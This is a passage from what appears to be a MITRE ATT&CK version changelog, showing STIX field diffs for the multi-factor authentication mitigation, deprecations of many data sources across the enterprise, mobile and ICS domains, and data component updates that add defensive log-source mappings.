capabilities to analyze email attachments. Endpoint Sandboxing: - Use Case: Run all downloaded files and applications in a restricted environment to monitor their behavior for malicious activity. - Implementation: Use endpoint protection tools for sandboxing at the endpoint level.
x_mitre_version	1.2	1.3

Patches

[M1032] Multi-factor Authentication

Current version: 1.1

	Old Description			New Description
t	1	Multi-Factor Authentication (MFA) enhances security by requi	t	1	Multi-Factor Authentication (MFA) enhances security by requi
	>	ring users to provide at least two forms of verification to		>	ring users to provide at least two forms of verification to
	>	prove their identity before granting access. These factors t		>	prove their identity before granting access. These factors t
	>	ypically include: - Something you know: Passwords, PINs.		>	ypically include: - Something you know: Passwords, PINs.
	>	- Something you have: Physical tokens, smartphone authenti		>	- Something you have: Physical tokens, smartphone authenti
	>	cator apps. - Something you are: Biometric data such as fi		>	cator apps. - Something you are: Biometric data such as fi
	>	ngerprints, facial recognition, or retinal scans. Implement		>	ngerprints, facial recognition, or retinal scans. Implement
	>	ing MFA across all critical systems and services ensures rob		>	ing MFA across all critical systems and services ensures rob
	>	ust protection against account takeover and unauthorized acc		>	ust protection against account takeover and unauthorized acc
	>	ess. This mitigation can be implemented through the followin		>	ess. This mitigation can be implemented through the followin
	>	g measures: Identity and Access Management (IAM): - Use IA		>	g measures: Identity and Access Management (IAM): - Use IA
	>	M solutions like Azure Active Directory, Okta, or AWS IAM to		>	M solutions like Azure Active Directory, Okta, or AWS IAM to
	>	enforce MFA policies for all user logins, especially for pr		>	enforce MFA policies for all user logins, especially for pr
	>	ivileged roles. - Enable conditional access policies to enfo		>	ivileged roles. - Enable conditional access policies to enfo
	>	rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc		>	rce MFA for risky sign-ins (e.g., unfamiliar devices, geoloc
	>	ations). Authentication Tools and Methods: - Use authentic		>	ations). - Enable Conditional Access policies to only allow
	>	ator applications such as Google Authenticator, Microsoft Au		>	logins from trusted devices, such as those enrolled in Intun
	>	thenticator, or Authy for time-based one-time passwords (TOT		>	e or joined via Hybrid/Entra. Authentication Tools and Meth
	>	P). - Deploy hardware-based tokens like YubiKey, RSA SecurID		>	ods: - Use authenticator applications such as Google Authen
	>	, or smart cards for additional security. - Enforce biometri		>	ticator, Microsoft Authenticator, or Authy for time-based on
	>	c authentication for compatible devices and applications. S		>	e-time passwords (TOTP). - Deploy hardware-based tokens like
	>	ecure Legacy Systems: - Integrate MFA solutions with older		>	YubiKey, RSA SecurID, or smart cards for additional securit
	>	systems using third-party tools like Duo Security or Thales		>	y. - Enforce biometric authentication for compatible devices
	>	SafeNet. - Enable RADIUS/NPS servers to facilitate MFA for V		>	and applications. Secure Legacy Systems: - Integrate MFA
	>	PNs, RDP, and other network logins. Monitoring and Alerting		>	solutions with older systems using third-party tools like Du
	>	: - Use SIEM tools to monitor failed MFA attempts, login an		>	o Security or Thales SafeNet. - Enable RADIUS/NPS servers to
	>	omalies, or brute-force attempts against MFA systems. - Impl		>	facilitate MFA for VPNs, RDP, and other network logins. Mo
	>	ement alerts for suspicious MFA activities, such as repeated		>	nitoring and Alerting: - Use SIEM tools to monitor failed M
	>	failed codes or new device registrations. Training and Pol		>	FA attempts, login anomalies, or brute-force attempts agains
	>	icy Enforcement: - Educate employees on the importance of M		>	t MFA systems. - Implement alerts for suspicious MFA activit
	>	FA and secure authenticator usage. - Enforce policies that r		>	ies, such as repeated failed codes or new device registratio
	>	equire MFA on all critical systems, especially for remote ac		>	ns. Training and Policy Enforcement: - Educate employees o
	>	cess, privileged accounts, and cloud applications.		>	n the importance of MFA and secure authenticator usage. - En
				>	force policies that require MFA on all critical systems, esp
				>	ecially for remote access, privileged accounts, and cloud ap
				>	plications.

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-02 17:29:15.914000+00:00	2025-05-09 15:48:18.053000+00:00
description	Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include: - Something you know: Passwords, PINs. - Something you have: Physical tokens, smartphone authenticator apps. - Something you are: Biometric data such as fingerprints, facial recognition, or retinal scans. Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures: Identity and Access Management (IAM): - Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles. - Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations). Authentication Tools and Methods: - Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP). - Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security. - Enforce biometric authentication for compatible devices and applications. Secure Legacy Systems: - Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet. - Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins. Monitoring and Alerting: - Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems. - Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations. Training and Policy Enforcement: - Educate employees on the importance of MFA and secure authenticator usage. - Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.	Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include: - Something you know: Passwords, PINs. - Something you have: Physical tokens, smartphone authenticator apps. - Something you are: Biometric data such as fingerprints, facial recognition, or retinal scans. Implementing MFA across all critical systems and services ensures robust protection against account takeover and unauthorized access. This mitigation can be implemented through the following measures: Identity and Access Management (IAM): - Use IAM solutions like Azure Active Directory, Okta, or AWS IAM to enforce MFA policies for all user logins, especially for privileged roles. - Enable conditional access policies to enforce MFA for risky sign-ins (e.g., unfamiliar devices, geolocations). - Enable Conditional Access policies to only allow logins from trusted devices, such as those enrolled in Intune or joined via Hybrid/Entra. Authentication Tools and Methods: - Use authenticator applications such as Google Authenticator, Microsoft Authenticator, or Authy for time-based one-time passwords (TOTP). - Deploy hardware-based tokens like YubiKey, RSA SecurID, or smart cards for additional security. - Enforce biometric authentication for compatible devices and applications. Secure Legacy Systems: - Integrate MFA solutions with older systems using third-party tools like Duo Security or Thales SafeNet. - Enable RADIUS/NPS servers to facilitate MFA for VPNs, RDP, and other network logins. Monitoring and Alerting: - Use SIEM tools to monitor failed MFA attempts, login anomalies, or brute-force attempts against MFA systems. - Implement alerts for suspicious MFA activities, such as repeated failed codes or new device registrations. Training and Policy Enforcement: - Educate employees on the importance of MFA and secure authenticator usage. - Enforce policies that require MFA on all critical systems, especially for remote access, privileged accounts, and cloud applications.

Data Sources

enterprise-attack

Deprecations

[DS0026] Active Directory

Current version: 1.0

Description:

A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:52.686000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0015] Application Log

Current version: 1.1

Description:

Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:03.068000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0037] Certificate

Current version: 1.0

Description:

A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:54.643000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0025] Cloud Service

Current version: 1.0

Description:

Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 19:41:14.066000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0010] Cloud Storage

Current version: 1.0

Description:

Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 19:42:50.489000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0017] Command

Current version: 1.2

Description:

A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:26.880000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0032] Container

Current version: 1.0

Description:

A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-12-24 18:06:47.351000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0038] Domain Name

Current version: 1.0

Description:

Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:57.359000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0016] Drive

Current version: 1.0

Description:

A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:06.700000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0027] Driver

Current version: 1.0

Description:

A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:53.761000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0022] File

Current version: 1.1

Description:

A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:04.845000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0018] Firewall

Current version: 1.1

Description:

A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:58.457000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0001] Firmware

Current version: 1.0

Description:

Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:07.251000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0036] Group

Current version: 1.0

Description:

A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:55.737000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0007] Image

Current version: 1.0

Description:

A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:56.103000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0030] Instance

Current version: 1.0

Description:

A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 19:40:29.066000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0035] Internet Scan

Current version: 1.0

Description:

Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:51.440000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0008] Kernel

Current version: 1.0

Description:

A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:57.731000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0028] Logon Session

Current version: 1.2

Description:

Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:19.778000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0004] Malware Repository

Current version: 1.1

Description:

Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:39:11.272000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0011] Module

Current version: 1.0

Description:

Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:06.151000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0023] Named Pipe

Current version: 1.0

Description:

Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:53.223000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0033] Network Share

Current version: 1.0

Description:

A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:03.613000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0029] Network Traffic

Current version: 1.2

Description:

Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:13.424000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0021] Persona

Current version: 1.0

Description:

A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:58.095000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0014] Pod

Current version: 1.0

Description:

A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:58.983000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0009] Process

Current version: 1.2

Description:

Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:24.655000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0003] Scheduled Job

Current version: 1.1

Description:

Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:05.238000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0012] Script

Current version: 1.2

Description:

A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:42.967000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0013] Sensor Health

Current version: 1.1

Description:

Information from host telemetry providing insights about system status, errors, or other notable functional activity

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:39:11.418000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0019] Service

Current version: 1.1

Description:

A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:04.346000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0020] Snapshot

Current version: 1.0

Description:

A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:55.198000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0002] User Account

Current version: 1.2

Description:

A profile representing a user, device, service, or application used to authenticate and access resources

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:38.667000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0034] Volume

Current version: 1.0

Description:

Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)

Details

values_changed
STIX Field	Old value	New Value
modified	2024-11-17 19:42:50.490000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0005] WMI

Current version: 1.0

Description:

The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:56.995000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0006] Web Credential

Current version: 1.0

Description:

Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:49:51.076000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0024] Windows Registry

Current version: 1.0

Description:

A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:05.783000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

mobile-attack

Deprecations

[DS0041] Application Vetting

Current version: 1.0

Description:

Application vetting report generated by an external cloud service.

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:20.420000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0017] Command

Current version: 1.2

Description:

A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:26.880000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0029] Network Traffic

Current version: 1.2

Description:

Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:13.424000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0009] Process

Current version: 1.2

Description:

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:24.655000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0013] Sensor Health

Current version: 1.1

Description:

Information from host telemetry providing insights about system status, errors, or other notable functional activity

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 20:39:11.418000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0042] User Interface

Current version: 1.0

Description:

Visual activity on the device that could alert the user to potentially malicious behavior.

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:20.681000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

ics-attack

Deprecations

[DS0015] Application Log

Current version: 1.1

Description:

Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:03.068000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0039] Asset

Current version: 1.0

Description:

Data sources with information about the set of devices found within the network, along with their current software and configurations

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:26:35.809000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0017] Command

Current version: 1.2

Description:

A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:26.880000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0016] Drive

Current version: 1.0

Description:

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:06.700000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0022] File

Current version: 1.1

Description:

A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media).(Citation: Microsoft File Mgmt)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:04.845000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0001] Firmware

Current version: 1.0

Description:

Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:07.251000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0028] Logon Session

Current version: 1.2

Description:

Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:19.778000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0011] Module

Current version: 1.0

Description:

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:06.151000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0033] Network Share

Current version: 1.0

Description:

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:03.613000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0029] Network Traffic

Current version: 1.2

Description:

Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:13.424000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0040] Operational Databases

Current version: 1.0

Description:

Operational databases contain information about the status of the operational process and associated devices, including any measurements, events, history, or alarms that have occurred

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:26:35.400000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0009] Process

Current version: 1.2

Description:

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:24.655000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0003] Scheduled Job

Current version: 1.1

Description:

Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:05.238000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0012] Script

Current version: 1.2

Description:

A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:42.967000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0019] Service

Current version: 1.1

Description:

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:04.346000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0002] User Account

Current version: 1.2

Description:

A profile representing a user, device, service, or application used to authenticate and access resources

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:09:38.667000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

[DS0024] Windows Registry

Current version: 1.0

Description:

Details

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:40:05.783000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_deprecated	False	True

Data Components

enterprise-attack

Major Version Changes

[DC0103] Active DNS

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0103', 'external_id': 'DC0103'}]
x_mitre_log_sources		[{'name': 'Domain Name', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:16:37.830000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0084] Active Directory Credential Request

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0084', 'external_id': 'DC0084'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4768'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4769'}, {'name': 'WinEventLog:Kerberos', 'channel': 'Kerberos TGS-REQ anomalies without KDC validation (Silver Ticket behavior)'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4929'}, {'name': 'linux:syslog', 'channel': 'Unusual kinit or klist activity'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:14.586000+00:00	2025-10-22 18:41:09.269000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8

[DC0071] Active Directory Object Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0071', 'external_id': 'DC0071'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4662'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4661'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:08.230000+00:00	2025-10-21 15:14:35.607000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0087] Active Directory Object Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0087', 'external_id': 'DC0087'}]
x_mitre_log_sources		[{'name': 'azure:audit', 'channel': 'New device object creation'}, {'name': 'WinEventLog:Security', 'channel': 'Device Object Creation'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4928'}, {'name': 'AWS:CloudTrail', 'channel': 'CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:20.946000+00:00	2025-10-21 15:14:36.803000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0068] Active Directory Object Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0068', 'external_id': 'DC0068'}]
x_mitre_log_sources		[{'name': 'WinEventLog:DirectoryService', 'channel': 'EventCode=4929'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--d6188aac-17db-4861-845f-57c369f9b4c8

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:14:17.768000+00:00	2025-10-21 15:14:40.681000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0066] Active Directory Object Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0066', 'external_id': 'DC0066'}]
